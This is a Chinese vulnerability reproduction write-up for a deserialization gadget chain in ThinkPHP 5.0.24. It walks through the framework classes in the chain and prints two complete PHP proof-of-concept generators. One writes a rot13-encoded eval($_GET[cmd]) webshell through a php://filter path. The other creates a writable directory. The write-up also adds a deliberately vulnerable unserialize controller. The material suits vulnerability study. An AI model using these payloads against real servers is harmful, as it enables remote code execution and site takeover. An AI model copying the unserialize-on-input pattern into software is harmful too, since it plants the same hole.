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Thinkphp 5.0.24 反序列化(任意文件写入)漏洞

一、漏洞简介

该漏洞只能在linux服务器上使用,win无法适用。

二、漏洞影响

Thinkphp 5.0.24

三、复现过程

漏洞分析

这个漏洞是框架的反序列化漏洞,只有二次开发实现了反序列化才可以利用,所以先构造漏洞代码,在/application/index/controller/Index.php中添加如下代码

class Index
{
    public function index()
    {
        echo "Welcome thinkphp 5.0.24";
        unserialize(base64_decode($_GET['a']));
    }
}

Thinkphp 5.0.x反序列化最后触发RCE,要调用的Request类__call方法,所以直接找可用的__call方法

这里选择了Output类(/thinkphp/library/think/console/Output.php),因为其中的block可以当作跳板

public function __call($method, $args)
{
    if (in_array($method, $this->styles)) {
        array_unshift($args, $method);
        return call_user_func_array([$this, 'block'], $args);
    }

    if ($this->handle && method_exists($this->handle, $method)) {
        return call_user_func_array([$this->handle, $method], $args);
    } else {
        throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
    }
}

从头开始分析,首先全局搜索__destruct,选择Windows类(/thinkphp/library/think/process/pipes/Windows.php),代码如下

public function __destruct()
{
    $this->close();
    $this->removeFiles();
}

跟进removeFiles

private function removeFiles()
{
    foreach ($this->files as $filename) {
        if (file_exists($filename)) {
            @unlink($filename);
        }
    }
    $this->files = [];
}

file_exists可以触发__tostring,所以寻找__tostring,找到了Model类(/thinkphp/library/think/Model.php)

public function __toString()
{
    return $this->toJson();
}

跟进toJson

public function toJson($options = JSON_UNESCAPED_UNICODE)
{
    return json_encode($this->toArray(), $options);
}

跟进toArray

public function toArray()
{
    $item    = [];
    $visible = [];
    $hidden  = [];

    $data = array_merge($this->data, $this->relation);

    ...
    // 追加属性(必须定义获取器)
    if (!empty($this->append)) {
        foreach ($this->append as $key => $name) {
            if (is_array($name)) {
                ...
            } elseif (strpos($name, '.')) {
                ...
            } else {
                $relation = Loader::parseName($name, 1, false);
                if (method_exists($this, $relation)) {
                    $modelRelation = $this->$relation();
                    $value         = $this->getRelationData($modelRelation);

                    if (method_exists($modelRelation, 'getBindAttr')) {
                        $bindAttr = $modelRelation->getBindAttr();
                        if ($bindAttr) {
                            foreach ($bindAttr as $key => $attr) {
                                $key = is_numeric($key) ? $attr : $key;
                                if (isset($this->data[$key])) {
                                    throw new Exception('bind attr has exists:' . $key);
                                } else {
                                    $item[$key] = $value ? $value->getAttr($attr) : null;
                                }
                            }
                            continue;
                        }
                    }
                    $item[$name] = $value;
                } else {
                    $item[$name] = $this->getAttr($name);
                }
            }
        }
    }
    return !empty($item) ? $item : [];
}

由于我们的目的是执行__call,所以要找函数调用的点,在toArray里有三处

然后看这三处哪里可控,经调试第三处可控,需要满足的条件是

if (!empty($this->append))
if (method_exists($this, $relation))
if (method_exists($modelRelation, 'getBindAttr'))
if ($bindAttr)

且不满足

if (is_array($name))
elseif (strpos($name, '.'))
if (isset($this->data[$key]))

才能够进入到第三处,首先需要满足$relation是Model内的方法,然后经过如下赋值

$modelRelation = $this->$relation();
$value         = $this->getRelationData($modelRelation);

需要满足\(modelRelation可控,经过查找,可以将\)modelRelation设为getError

public function getError()
{
    return $this->error;
}

然后跟进getRelationDate

protected function getRelationData(Relation $modelRelation)
{
    if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
        $value = $this->parent;
    } else {
        // 首先获取关联数据
        if (method_exists($modelRelation, 'getRelation')) {
            $value = $modelRelation->getRelation();
        } else {
            throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
        }
    }
    return $value;
}

这里需要$modelRelation为Relation类型。全局查找getRelation方法且为Relation类型的类,找到了HasOne(/thinkphp/library/think/model/relation/HasOne.php)

public function getRelation($subRelation = '', $closure = null)
{
    // 执行关联定义方法
    $localKey = $this->localKey;
    if ($closure) {
        call_user_func_array($closure, [ & $this->query]);
    }
    // 判断关联类型执行查询
    $relationModel = $this->query
        ->removeWhereField($this->foreignKey)
        ->where($this->foreignKey, $this->parent->$localKey)
        ->relation($subRelation)
        ->find();

    if ($relationModel) {
        $relationModel->setParent(clone $this->parent);
    }

    return $relationModel;
}

可以看到这些条件都是满足的,然后看getBindAttr,发现在OneToOne类中是可控的

public function getBindAttr()
{
    return $this->bindAttr;
}

所以代码执行到

$item[$key] = $value ? $value->getAttr($attr) : null;

就可以调用Output类的__call方法,调用payload如下

namespace think{
    use think\console\Output;
    use think\model\relation\HasOne;
    abstract class Model{
        protected $relation;
        protected $append = ["1"];
        protected $error;
        protected $parent;
        public function __construct()
        {
            $this->parent = new Output();
            $this->relation = ["getError"=>"getError"];
            $this->append = ["getError"=>"getError"];
            $this->error = new HasOne();
            $this->data = ["key"=>"ls"]; ;
        }
    }
}

namespace think\db{
    use think\console\Output;
    class Query
    {
        protected $model;
        public function __construct()
        {
            $this->model = new Output();
        }
    }
}

namespace think\model\relation{
    use think\db\Query;
    use think\model\Relation;
    abstract class OneToOne extends Relation
    {
        protected $query;
        protected $bindAttr = [];
        public function __construct()
        {
        }
    }

    class HasOne extends OneToOne
    {
        protected $query;
        protected $bindAttr = [];
        public function __construct()
        {
            $this->query = new Query();
            $this->bindAttr = ["1"=>"1"];
        }
    }
}

然后接着看Output,在__call中调用block

protected function block($style, $message)
{
    $this->writeln("<{$style}>{$message}</$style>");
}

继续writeln

public function writeln($messages, $type = self::OUTPUT_NORMAL)
{
    $this->write($messages, true, $type);
}

write

public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
{
    $this->handle->write($messages, $newline, $type);
}

而$this->handle是可控的,继续全局搜索write,寻找可控的点,找到了/thinkphp/library/think/session/driver/Memcached.php

public function write($sessID, $sessData)
{
    return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']);
}

这样就有找到了一个跳板set,然后继续找可以写入文件的方式,找到了/thinkphp/library/think/cache/driver/File.php

public function set($name, $value, $expire = null)
    {
        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }
        if ($expire instanceof \DateTime) {
            $expire = $expire->getTimestamp() - time();
        }
        $filename = $this->getCacheKey($name, true);
        if ($this->tag && !is_file($filename)) {
            $first = true;
        }
        $data = serialize($value);
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }
        $data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);
        if ($result) {
            isset($first) && $this->setTagItem($filename);
            clearstatcache();
            return true;
        } else {
            return false;
        }
    }

此处$filename可控,跟进getCacheKey

protected function getCacheKey($name, $auto = false)
{
    $name = md5($name);
    if ($this->options['cache_subdir']) {
        // 使用子目录
        $name = substr($name, 0, 2) . DS . substr($name, 2);
    }
    if ($this->options['prefix']) {
        $name = $this->options['prefix'] . DS . $name;
    }
    $filename = $this->options['path'] . $name . '.php';
    $dir      = dirname($filename);

    if ($auto && !is_dir($dir)) {
        mkdir($dir, 0755, true);
    }
    return $filename;
}

回来继续看\(data,从传入的\)value获取,但是在之前writeln处已经传入了true,而且不可控,只能继续往下看,可以看到当成功写入文件时,会调用setTagItem方法,跟进

protected function setTagItem($name)
{
    if ($this->tag) {
        $key       = 'tag_' . md5($this->tag);
        $this->tag = null;
        if ($this->has($key)) {
            $value   = explode(',', $this->get($key));
            $value[] = $name;
            $value   = implode(',', array_unique($value));
        } else {
            $value = $name;
        }
        $this->set($key, $value, 0);
    }
}

又调用了一次set,且此处两个参数都是可控的,所以可以在文件名处搞事情,通过编码然后将文件名写入shell中

poc

<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{

}

class Windows extends Pipes{
    private $files = [];

    function __construct(){
        $this->files = [new Pivot()];
    }
}

namespace think\model;#Relation
use think\db\Query;
abstract class Relation{
    protected $selfRelation;
    protected $query;
    function __construct(){
        $this->selfRelation = false;
        $this->query = new Query();#class Query
    }
}

namespace think\model\relation;#OneToOne HasOne
use think\model\Relation;
abstract class OneToOne extends Relation{
    function __construct(){
        parent::__construct();
    }

}
class HasOne extends OneToOne{
    protected $bindAttr = [];
    function __construct(){
        parent::__construct();
        $this->bindAttr = ["no","123"];
    }
}

namespace think\console;#Output
use think\session\driver\Memcached;
class Output{
    private $handle = null;
    protected $styles = [];
    function __construct(){
        $this->handle = new Memcached();//目的调用其write()
        $this->styles = ['getAttr'];
    }
}

namespace think;#Model
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model{
    protected $append = [];
    protected $error;
    public $parent;#修改处
    protected $selfRelation;
    protected $query;
    protected $aaaaa;

    function __construct(){
        $this->parent = new Output();#Output对象,目的是调用__call()
        $this->append = ['getError'];
        $this->error = new HasOne();//Relation子类,且有getBindAttr()
        $this->selfRelation = false;//isSelfRelation()
        $this->query = new Query();

    }
}

namespace think\db;#Query
use think\console\Output;
class Query{
    protected $model;
    function __construct(){
        $this->model = new Output();
    }
}

namespace think\session\driver;#Memcached
use think\cache\driver\File;
class Memcached{
    protected $handler = null;
    function __construct(){
        $this->handler = new File();//目的调用File->set()
    }
}
namespace think\cache\driver;#File
class File{
    protected $options = [];
    protected $tag;
    function __construct(){
        $this->options = [
        'expire'        => 0,
        'cache_subdir'  => false,
        'prefix'        => '',
        'path'          => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pzq]);?>',
        'data_compress' => false,
        ];
        $this->tag = true;
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model{


}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));

该poc仅可在linux下使用,Windows对文件名有限制。

生成文件名规则:

md5('tag_'.md5($this->tag))
即:
md5('tag_c4ca4238a0b923820dcc509a6f75849b')
=>3b58a9545013e88c7186db11bb158c44
=>
<?cuc cucvasb();riny($_TRG[pzq]);?> + 3b58a9545013e88c7186db11bb158c44
最终文件名:
<?cuc cucvasb();riny($_TRG[pzq]);?>3b58a9545013e88c7186db11bb158c44.php

在漏洞利用时需注意目录读写权限,可先控制options[‘path’] = ‘./demo/‘,利用框架创建一个755文件夹(前提是具有权限)

我们可以稍微修改下 payload 用于创建一个 0755 权限的目录(这里利用的是 think\cache\driver\File:getCacheKey() 中的 mkdir 函数),然后再往这个目录写文件。

ba92f014c78344a0acec349b45ed3bd5

poc 创建demo目录

<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{

}

class Windows extends Pipes{
    private $files = [];

    function __construct(){
        $this->files = [new Pivot()];
    }
}

namespace think\model;#Relation
use think\db\Query;
abstract class Relation{
    protected $selfRelation;
    protected $query;
    function __construct(){
        $this->selfRelation = false;
        $this->query = new Query();#class Query
    }
}

namespace think\model\relation;#OneToOne HasOne
use think\model\Relation;
abstract class OneToOne extends Relation{
    function __construct(){
        parent::__construct();
    }

}
class HasOne extends OneToOne{
    protected $bindAttr = [];
    function __construct(){
        parent::__construct();
        $this->bindAttr = ["no","123"];
    }
}

namespace think\console;#Output
use think\session\driver\Memcached;
class Output{
    private $handle = null;
    protected $styles = [];
    function __construct(){
        $this->handle = new Memcached();//目的调用其write()
        $this->styles = ['getAttr'];
    }
}

namespace think;#Model
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model{
    protected $append = [];
    protected $error;
    public $parent;#修改处
    protected $selfRelation;
    protected $query;
    protected $aaaaa;

    function __construct(){
        $this->parent = new Output();#Output对象,目的是调用__call()
        $this->append = ['getError'];
        $this->error = new HasOne();//Relation子类,且有getBindAttr()
        $this->selfRelation = false;//isSelfRelation()
        $this->query = new Query();

    }
}

namespace think\db;#Query
use think\console\Output;
class Query{
    protected $model;
    function __construct(){
        $this->model = new Output();
    }
}

namespace think\session\driver;#Memcached
use think\cache\driver\File;
class Memcached{
    protected $handler = null;
    function __construct(){
        $this->handler = new File();//目的调用File->set()
    }
}
namespace think\cache\driver;#File
class File{
    protected $options = [];
    protected $tag;
    function __construct(){
        $this->options = [
        'expire'        => 0,
        'cache_subdir'  => false,
        'prefix'        => '',
        'path'          => './demo/',
        'data_compress' => false,
        ];
        $this->tag = true;
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model{


}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));

参考链接

http://althims.com/2020/02/07/thinkphp-5-0-24-unserialize/

http://pines404.online/2020/01/20/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/ThinkPHP/ThinkPHP5.0.24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE%E5%88%86%E6%9E%90/

https://xz.aliyun.com/t/7082